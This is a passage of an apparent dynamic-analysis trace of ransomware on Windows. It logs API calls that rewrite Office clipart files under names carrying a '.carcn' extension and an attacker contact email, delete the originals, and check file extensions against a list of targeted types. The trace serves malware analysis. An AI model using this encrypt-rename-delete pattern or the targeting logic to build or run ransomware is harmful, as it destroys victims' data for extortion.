Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.767] GetLastError () returned 0x0 [0300.767] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x820, lpOverlapped=0x0) returned 1 [0300.768] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x830, lpOverlapped=0x0) returned 1 [0300.769] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.769] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.769] SetEndOfFile (hFile=0x370) returned 1 [0300.769] CloseHandle (hObject=0x370) returned 1 [0300.769] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.769] SetEndOfFile (hFile=0x358) returned 1 [0300.770] CloseHandle (hObject=0x358) returned 1 [0300.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0300.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.771] lstrlenW (lpString=".doc") returned 4 [0300.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.771] lstrlenW (lpString=".docx") returned 5 [0300.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.771] lstrlenW (lpString=".pdf") returned 4 [0300.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.771] lstrlenW (lpString=".xls") returned 4 [0300.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.771] lstrlenW (lpString=".xlsx") returned 5 [0300.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.771] lstrlenW (lpString=".ppt") returned 4 [0300.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.771] lstrlenW (lpString=".zip") returned 4 [0300.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.771] lstrlenW (lpString=".rar") returned 4 [0300.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.771] lstrlenW (lpString=".bz2") returned 4 [0300.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.771] lstrlenW (lpString=".7z") returned 3 [0300.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".dbf") returned 4 [0300.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".1cd") returned 4 [0300.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".jpg") returned 4 [0300.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".doc") returned 4 [0300.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString=".docx") returned 5 [0300.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.772] lstrlenW (lpString=".pdf") returned 4 [0300.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString=".xls") returned 4 [0300.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.772] lstrlenW (lpString=".xlsx") returned 5 [0300.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.772] lstrlenW (lpString=".ppt") returned 4 [0300.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".zip") returned 4 [0300.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.772] lstrlenW (lpString=".rar") returned 4 [0300.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString=".bz2") returned 4 [0300.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.772] lstrlenW (lpString=".7z") returned 3 [0300.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.772] lstrlenW (lpString=".dbf") returned 4 [0300.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.773] lstrlenW (lpString=".1cd") returned 4 [0300.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0300.773] lstrlenW (lpString=".jpg") returned 4 [0301.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.286] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.286] lstrlenW (lpString="DD01585_.WMF") returned 12 [0301.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.286] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2524) returned 1 [0301.287] CloseHandle (hObject=0x350) returned 1 [0301.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0301.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.287] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.287] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.288] GetLastError () returned 0x0 [0301.288] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x9dc, lpOverlapped=0x0) returned 1 [0301.288] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x9e0, lpOverlapped=0x0) returned 1 [0301.289] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.289] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.289] SetEndOfFile (hFile=0x364) returned 1 [0301.289] CloseHandle (hObject=0x364) returned 1 [0301.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.290] SetEndOfFile (hFile=0x350) returned 1 [0301.290] CloseHandle (hObject=0x350) returned 1 [0301.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0301.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.291] lstrlenW (lpString=".doc") returned 4 [0301.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.291] lstrlenW (lpString=".docx") returned 5 [0301.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.291] lstrlenW (lpString=".pdf") returned 4 [0301.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.291] lstrlenW (lpString=".xls") returned 4 [0301.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.291] lstrlenW (lpString=".xlsx") returned 5 [0301.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.291] lstrlenW (lpString=".ppt") returned 4 [0301.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.291] lstrlenW (lpString=".zip") returned 4 [0301.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.291] lstrlenW (lpString=".rar") returned 4 [0301.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.291] lstrlenW (lpString=".bz2") returned 4 [0301.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.291] lstrlenW (lpString=".7z") returned 3 [0301.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString=".dbf") returned 4 [0301.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString=".1cd") returned 4 [0301.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString=".jpg") returned 4 [0301.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString=".doc") returned 4 [0301.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString=".docx") returned 5 [0301.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.292] lstrlenW (lpString=".pdf") returned 4 [0301.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString=".xls") returned 4 [0301.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.292] lstrlenW (lpString=".xlsx") returned 5 [0301.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.292] lstrlenW (lpString=".ppt") returned 4 [0301.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.292] lstrlenW (lpString=".zip") returned 4 [0301.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.292] lstrlenW (lpString=".rar") returned 4 [0301.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.292] lstrlenW (lpString=".bz2") returned 4 [0301.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.293] lstrlenW (lpString=".7z") returned 3 [0301.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.293] lstrlenW (lpString=".dbf") returned 4 [0301.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.293] lstrlenW (lpString=".1cd") returned 4 [0301.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0301.293] lstrlenW (lpString=".jpg") returned 4 [0301.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.293] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.293] lstrlenW (lpString="DD01586_.WMF") returned 12 [0301.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.293] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2324) returned 1 [0301.293] CloseHandle (hObject=0x350) returned 1 [0301.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0301.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.294] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.294] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.295] GetLastError () returned 0x0 [0301.295] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x914, lpOverlapped=0x0) returned 1 [0301.295] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x920, lpOverlapped=0x0) returned 1 [0301.296] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.296] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.297] SetEndOfFile (hFile=0x364) returned 1 [0301.297] CloseHandle (hObject=0x364) returned 1 [0301.297] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.297] SetEndOfFile (hFile=0x350) returned 1 [0301.298] CloseHandle (hObject=0x350) returned 1 [0301.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0301.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.299] lstrlenW (lpString=".doc") returned 4 [0301.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.299] lstrlenW (lpString=".docx") returned 5 [0301.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.299] lstrlenW (lpString=".pdf") returned 4 [0301.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.299] lstrlenW (lpString=".xls") returned 4 [0301.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.299] lstrlenW (lpString=".xlsx") returned 5 [0301.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.299] lstrlenW (lpString=".ppt") returned 4 [0301.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.299] lstrlenW (lpString=".zip") returned 4 [0301.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.299] lstrlenW (lpString=".rar") returned 4 [0301.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.299] lstrlenW (lpString=".bz2") returned 4 [0301.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.299] lstrlenW (lpString=".7z") returned 3 [0301.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString=".dbf") returned 4 [0301.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString=".1cd") returned 4 [0301.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString=".jpg") returned 4 [0301.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString=".doc") returned 4 [0301.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString=".docx") returned 5 [0301.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.300] lstrlenW (lpString=".pdf") returned 4 [0301.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString=".xls") returned 4 [0301.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.300] lstrlenW (lpString=".xlsx") returned 5 [0301.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.300] lstrlenW (lpString=".ppt") returned 4 [0301.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.300] lstrlenW (lpString=".zip") returned 4 [0301.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.300] lstrlenW (lpString=".rar") returned 4 [0301.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString=".bz2") returned 4 [0301.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.300] lstrlenW (lpString=".7z") returned 3 [0301.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.301] lstrlenW (lpString=".dbf") returned 4 [0301.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.301] lstrlenW (lpString=".1cd") returned 4 [0301.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0301.301] lstrlenW (lpString=".jpg") returned 4 [0301.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.301] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.301] lstrlenW (lpString="DD01628_.WMF") returned 12 [0301.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.301] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19068) returned 1 [0301.301] CloseHandle (hObject=0x350) returned 1 [0301.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0301.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.301] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.302] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.302] GetLastError () returned 0x0 [0301.302] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, 